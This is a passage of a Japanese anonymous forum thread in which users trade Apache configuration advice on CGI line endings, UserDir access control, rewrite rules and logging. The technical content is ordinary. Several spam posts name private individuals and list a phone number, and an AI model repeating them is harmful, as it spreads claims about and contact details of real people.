アドバイスを参考にRedirectMatchやmod_rewriteを使って挑戦してみましたが、
DocumentRootとUserDirの両立はできませんでした
セキュリティ上あまり良くないとは思いますが、
DocumentRootをhomeにして各ユーザディレクトリにアクセスするしか思いつきませんでした

根本的に私の考え方が間違っている気がします
なにかよい方法あれば教えていただけると幸いです
925DNS未登録さん:2012/11/28(水) 16:40:51.10 ID:???
>>922
変換がいやならLF使わずにcgiを書けば良いのでは?

>>924
改行コードとrewriteは関係ない話ですよね?

両立ができない件については、どのような記述をされたのか分かりませんが、もう一度見直してみてはどうでしょうか。
情報が欲しいにしても、「挑戦してみました」だけでは何が悪かったのか、誰も分かりません。

後、セキュリティに疑問があるならそこを潰してから公開しましょう。アタックを受けて被害を被るのはあなただけではありません。
926DNS未登録さん:2012/11/28(水) 16:51:36.66 ID:???
読めないのは1行目だけの問題だからそこを工夫しては
927DNS未登録さん:2012/11/28(水) 20:15:21.53 ID:???
>>922
というかテキストエディタにその辺の問題を対処してもらえよ
文字コードとか改行コードとか変換してくれるのあるだろ
原則的にサーバ側を正にして考えないと、トラブルの元だぞ
928DNS未登録さん:2012/11/28(水) 21:16:35.69 ID:???
>>925
>>926
>>927
WindowsのApacheだと改行コードCR+LFにしないとエラー
レン鯖のCGIだとLFにしないとエラー

だもんで、WindowsのApacheをレン鯖のに合わせられたらなと
今はFTPのテキストモードで送信して解決してます。
929DNS未登録さん:2012/11/29(木) 09:21:35.90 ID:???
1行目を
#!/usr/bin/perl --
として、改行コードは CR+LF。
どっちの環境でも動く。
930DNS未登録さん:2012/11/29(木) 12:08:00.37 ID:???
なぜエラーが起きるのかを考えれば、>>929の様な工夫は思いつくんだけどな。
931DNS未登録さん:2012/11/29(木) 19:42:36.77 ID:???
>>925
すみません安価間違えてました
>>920が僕で、>>922さんは別の方です

これまでやったことを一度まとめてからまた書き込みします
932DNS未登録さん:2012/11/29(木) 20:43:20.83 ID:???
>>929
それは苦肉の策
933DNS未登録さん:2012/11/29(木) 21:17:19.60 ID:???
>>929
それのLFで試してみるぜ
934DNS未登録さん:2012/11/29(木) 21:18:02.66 ID:???
>>932
誰がうまいことを言えと
935DNS未登録さん:2012/11/30(金) 00:31:16.99 ID:???
普通にWindows上でもLFにすればくだらないことしなくても難なく動くんじゃね?
Windowsで問題になるのは#!のあとC:/と書かないとSERVER_ROOTが違うドライブの時などに
実行するプログラムを見つけられないことくらい?
つまり、改行ではなくパスの表し方に関するところでの書き換えが必須。
936DNS未登録さん:2012/11/30(金) 02:48:53.15 ID:???
>>935
とりあえずCドライブに全部ぶち込んどけばC:書かなくても動くっぺよ
937DNS未登録さん:2012/11/30(金) 20:00:49.86 ID:???
仕事でapache使うことになったのですが

apacheを使いこなせるようになると、他のLinux系サーバ(Samba等)も覚えるのが早いですか?
それとも全く別物ですか
938DNS未登録さん:2012/11/30(金) 20:07:00.19 ID:GSPZuGrg
>>937
時間があるならapache、ftp、ntp、sambaとかある程度(簡単な設定)は覚えると後々楽だよ
939DNS未登録さん:2012/11/30(金) 20:12:22.46 ID:???
とりあえず古いPC用意して自宅サーバ構築してみれば大分理解が早まると思うの
940DNS未登録さん:2012/11/30(金) 20:14:17.73 ID:GSPZuGrg
あまりオススメはしないけど基本CUIでどうしてもわかんなかったらGUI操作でいいと思うの
941DNS未登録さん:2012/12/01(土) 08:57:14.65 ID:???
>>937
apacheとsambaはまったく別物
942937:2012/12/01(土) 11:36:19.28 ID:???
>>938-941
レスありがとうございます
まだいろいろ不安なのですが、まずapacheから、余裕が出てきたらそれ以外も
やっていきたいと思います
943DNS未登録さん:2012/12/01(土) 17:04:53.73 ID:???
sambaよりもtop/vmstat/iostat/mpstat/free当たりを理解
出来るようになるといいと思うけどね。

意味が判っていない奴が多くてうんざりだ!
944DNS未登録さん:2012/12/02(日) 09:40:28.71 ID:???
すれちてわかっていないのでうんざりだ
945DNS未登録さん:2012/12/02(日) 17:57:07.65 ID:9wr/6VXg
質問です

複数のユーザーにレンタル掲示板を貸し出そうと思っています。
現在運営中のサーバーは「www.example.com」と「www1.example.com」です。
「www.example.com」のDBに、登録したユーザーの情報や掲示板のタイトルなどが入っています。
ユーザーが増えすぎると重くなるので、増えすぎたら「www1.example.com」に登録させようと思っているのですが
できれば「www.example.com」に統一したいのです。いい方法はありませんでしょうか?
946DNS未登録さん:2012/12/02(日) 19:59:50.60 ID:???
複数のサーバを1つのドメインで統一したいってこと?
947DNS未登録さん:2012/12/03(月) 10:55:36.98 ID:???
リバースプロキシで
948DNS未登録さん:2012/12/12(水) 06:48:34.93 ID:???
てす
949DNS未登録さん:2012/12/15(土) 15:13:10.82 ID:???
mod_expiresについて質問です。
PHPでhtmlを出力する場合、

mod_expiresで設定するファイルタイプとしては、

ExpiresByType text/html

が、該当のタイプになるのでしょうか?
950DNS未登録さん:2012/12/15(土) 15:14:48.53 ID:???
また、mod_expiresとhtmlに直接キャッシュの制御コードを書くのでは
どちらが優先されるのでしょうか?

よろしくお願いいたします
951DNS未登録さん:2012/12/15(土) 17:52:28.09 ID:???
Apacheのaccess.logで、ローカル内のIPは記録しない方法はありますか?
Ubuntu
952DNS未登録さん:2012/12/15(土) 17:59:25.85 ID:???
192.168で始まるIPアドレスはログに残さないってしとけば良いと思うよ
人間
953DNS未登録さん:2012/12/15(土) 21:15:16.54 ID:???
10.も
954DNS未登録さん:2012/12/18(火) 20:42:35.20 ID:W+k+QAPK
localhost/~test/test.htmlというページから<a href="/">トップ</a>というリンクをクリックするとlocalhost/に飛んでしまいます。
localhost/~test/に飛びたいのですが、どのような設定をしたらいいでしょうか?
955DNS未登録さん:2012/12/18(火) 21:15:36.64 ID:ry0OcWRq
>>954
<a href="http://localhost/~test/">トップ</a>

相対じゃなくて絶対で指定すれば?
956DNS未登録さん:2012/12/18(火) 21:47:53.99 ID:???
>>945
どうしたも相対にしたければ、
<a href="./">hoge</a>
にしる。
957DNS未登録さん:2012/12/22(土) 15:39:10.97 ID:???
       ____
     /⌒  ⌒\
   /( ●)  (●)\
  /::::::⌒(__人__)⌒::::: \
  |     |r┬-|     |
  \      `ー"´     /
958DNS未登録さん:2012/12/22(土) 22:05:30.11 ID:???
        __
       /ヽ /\  キリッ 
     / (ー −)\   
     (   (_人_)  ) やる夫のAAが小さくなりました 
     ノ   `-"  ヽ 
    (_つ    _つ

        __
       /ノ ヽ\
     / (● ●)\ だっておwwwwwwwwwwwwwwwww
     (  o゚(_人_)゚o )
     ノ/) )) lr-l  /) )) バン!!
    (_つ ))`-" _ つ ))  バン!!
959DNS未登録さん:2012/12/23(日) 11:01:27.84 ID:???
かわいいw
960DNS未登録さん:2012/12/31(月) 17:58:17.67 ID:t8tTPasz
ユーザごとのwebディレクトリのアクセス制限についての質問です。
CentOS6.2(64bit) apache2.2.15でhttpd.confに
UserDir enabled user1000 user2000
<Directory /var/www/*/docs>
AllowOverride None
AuthType Basic
AuthName "test2"
AuthUserFile /etc/httpd/conf/.hppasswd
require user user1000
</Directory>
と設定しました。user1000でログインしてもuser2000のディレクトリは見えないと思ったのですが見えます。
これってUserDirの意味がないのですが、どうすればuser1000ユーザはuser1000ディレクトリしか表示できないようにさせることはできますか?
961池田大作:2012/12/31(月) 18:50:18.30 ID:9NDtYl0t
創価諸君よ!

田浦本部横須賀桜山支部の高橋裕之氏が宝くじで高額当選できるようにまた女子部と結婚成就と障害者年金1級受給と健康とご長寿と貯金残高10億円と刑事権力から護り抜く祈りを来年も30分しっかりと高橋裕之氏に題目を送って行こうではありませんか!

また女子部は何があっても高橋裕之氏について行きなさい
いいね!
962DNS未登録さん:2012/12/31(月) 19:08:14.82 ID:???
随分と自分に都合のいいワイルドカードだ

<Directory /var/www/user1000/docs>
Require user1000
</Directory>
963DNS未登録さん:2012/12/31(月) 23:39:35.46 ID:t8tTPasz
>>962
ありがとうございます。やっぱりそうですか。
しかしそれだとユーザが増えるたびに作る必要があるし(スクリプト等で対応すると思うけど)、
そもそもwebディレクトリといってもユーザ名に合わせなくても設定ができるので、厳密に言えばユーザごとのwebディレクトリじゃないじゃんと思いました。
964DNS未登録さん:2013/01/01(火) 02:09:34.83 ID:???
>>962
>アスタリスク (*) を含むパスが指定されたときは、アスタリスクを ユーザ名で置換したものが使用されます。このような設定だと:
>UserDir /var/www/*/docs
>URL http://example.com/~rbowen/file.html は パス /var/www/rbowen/docs/file.html へ変換されます。
だからそこ自体は間違ってないように見えるんだが
965池田大作:2013/01/04(金) 05:05:14.50 ID:1V5jwF8R
創価諸君よ!
田浦本部横須賀桜山支部の偉大なる男子部
高橋裕之氏が1月10日と1月31日に宝くじ1等・前後賞が当たるように
また女子部と結婚成就と障害者年金1級受給と健康とご長寿と貯金残高10億円と刑事権力から護り抜く
祈りを毎日30分しっかりと高橋裕之氏に題目を送って行こうではありませんか!
特に飯田一家・柏崎まさかつ・徳永一家・宗像一家・尾崎一家・土井一家・尾島一家・横須賀総県創価学会員は喜んで祈るに祈っていこうではありませんか!
また女子部は何が起きても疑うことなく高橋裕之氏について行きなさい
いいね!
966DNS未登録さん:2013/01/04(金) 17:27:29.40 ID:???
初心者ですが質問してもいいでしょうか?
当方raspberry pi を使ってるのですがwebサイト見てる人から/var/www/にはいってるmjpeg-streamerを起動させたいんですがどのようにすればいい教えてくれませんか?
test.cgi
#!/usr/bin/ruby
system('/var/www/mjpg-streamer/mjpg-streamer/mjpg_streamer -i "/var/www/mjpg-streamer/mjpg-streamer/input_uvc.so
-f 5 -r 320x240 -d /dev/video0 -y" -o "/var/www/mjpg-streamer/mjpg-streamer/output_http.so -w /var/www/mjpg-streamer/mjpg-streamer/www -p 8080" -b')
といった感じでcgiスクリプトを書いてみましたが動いてくれません。 端末からは動くんですが・・・
ちなみにApacheのバージョンは2.2.2です
967DNS未登録さん:2013/01/05(土) 02:44:23.49 ID:???
ログは?
968DNS未登録さん:2013/01/05(土) 09:31:34.61 ID:???
>>966
まずはそのRubyスクリプトのstdout, stderrの内容をファイルに出力させ、
その内容を読め。
969DNS未登録さん:2013/01/05(土) 14:40:37.11 ID:???
>>967
-bオプションをはずして実行したところ
/var/log/apache2/error.log
MJPG Streamer Version: svn rev: 3:172
i: Using V4L2 device.: /dev/video0
i: Desired Resolution: 320 x 240
i: Frames Per Second.: 5
i: Format............: YUV
i: JPEG Quality......: 80
ERROR opening V4L interface: Permission denied
Init v4L2 failed !! exit fatal
i: init_VideoIn failed
となってました、apacheからだとv4lが権限がなくて使えないということでしょうか

>>968
端末から実行する限り特にエラーはありませんでした
970DNS未登録さん:2013/01/06(日) 10:05:22.34 ID:???
>>969
> ERROR opening V4L interface: Permission denied
結論が出てるじゃないか。
971DNS未登録さん:2013/01/12(土) 06:53:32.29 ID:6pZ9zSoD
  ★★★チベットの独立は日本の核心的利益である★★★
  http://jbbs.livedoor.jp/bbs/read.cgi/study/3729/1226114724/78

  ¥¥¥¥¥¥¥『万有サロン』書き込み大賞・総額100万円¥¥¥¥¥¥¥¥¥¥¥¥

  この掲示板に優秀な書き込みをして、総額100万円の賞金をゲットしよう!(*^^)v
    万有サロン
      http://jbbs.livedoor.jp/study/3729/
    書き込み大賞の詳細
      http://jbbs.livedoor.jp/bbs/read.cgi/study/3729/1069922074/78-
    書き込み大賞の詳細(資料倉庫内)
      http://www2.tba.t-com.ne.jp/a-z/omake/banyu/taisho.htm

  また、あらゆる疑問に関する質問を、携帯電話やメールでも受け付けています。
    電話番号 080-4437-4187
    メール  [email protected]

  ¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥
972DNS未登録さん:2013/01/24(木) 17:09:25.12 ID:???
virtualhostが増えてきたので

CustomLog ${APACHE_LOG_DIR}/${SERVER_NAME}-access.log combined

こういうことをしたいんだけどダメかな?
973DNS未登録さん:2013/01/24(木) 21:20:44.87 ID:???
>>972
スクリプトか何かでconfを出力すればいいんでは。
974DNS未登録さん:2013/03/05(火) 10:35:41.83 ID:/07JiDCw
errorlogに request failed error reading the headers referer〜がでるんです。
対処方法ご存知ないですか?
access_logみると、同時刻に2KバイトのGIFファイルで 400がでてます。
実際このGIFファイルは存在していますし、エラーでるのは
日に数回程度なんですけど。
975DNS未登録さん:2013/03/05(火) 22:43:22.17 ID:???
976DNS未登録さん:2013/03/22(金) 11:53:40.39 ID:???
某国のアクセスをIPアドレスで判断して断ち切りたいのですが
mod_access_rblの最新版ってドコですか

rblのデータベースはcc.wariate.jpを使おうと思ってます
977DNS未登録さん:2013/03/28(木) 12:44:03.79 ID:???
モジュールの最新版位自分で探して下さい
特定の国だけ弾くなら俺だったらmod_geoipを使うけどな
978DNS未登録さん:2013/03/28(木) 14:04:01.43 ID:???
質問です。教えてください。

URLにあるホスト名の後ろに:ポートがついてくる。
これをRewriteRuleで取りたいんですが、サンプルが見つかりませんでした。
ご教示いただけるか、そういうのが載っているURLを教えていただきたいです。

やりたい事を詳しく書きます。
HyperEstraierのP2Pをhttpsで本Webサイトの/search/以下で使いたい。
そもそもWebコンテンツ全てSSLで使いたい。
OSはCentOS6です。
apacheでリバースPROXYして/search/search_uiの画面は出るのですが、
リンクが全て、http://ホスト名:/1978/node/ノード名/search_ui
HyperEstraierでリンクの生成を変える設定は見つかりませんでした。
iptablesのPREROUTINGで1978→80にしてhttpのままapacheで受ける。
RewriteRuleでhttpsに。
でもhttps://ホスト名:1978/・・・なので、httpsで80に行ってしまうので、エラーになっています。
979DNS未登録さん:2013/03/29(金) 20:06:00.83 ID:???
>>978
単なる正規表現なんだから、sedでテストしながら作っていけばOK。
後方参照を使えばできるだろ。
980DNS未登録さん:2013/04/25(木) 09:11:40.35 ID:???
>>979
ご意見ありがとうございます。
色々忙しくて遅くなってしまいました。

%{HTTP_HOST}はFQDN:ポートという事を知りませんでした。
%{HTTP_HOST}の後にいくらポート指定しても無効になるわけです。

URLの後ろの方が言われたように後方参照で変換かけてうまくいきました。

その他一緒に考えてくれた方もありがとうございました。
981DNS未登録さん:2013/04/28(日) 12:22:38.01 ID:jlmH3MjK
httpdのログにlocalhostからのアクセスがあるんだけど、これはいったい
なんじゃらほい?UAは普通。サーバで動いてるクロンが云々でもない。
環境は、httpd-2.2.3-65.el5.centos.3
982DNS未登録さん:2013/04/28(日) 16:13:45.37 ID:???
それだけで分かる訳ねえだろログ貼れよ
983DNS未登録さん
>>981
試しに、そのアクセスログのIPアドレスを書きなさい。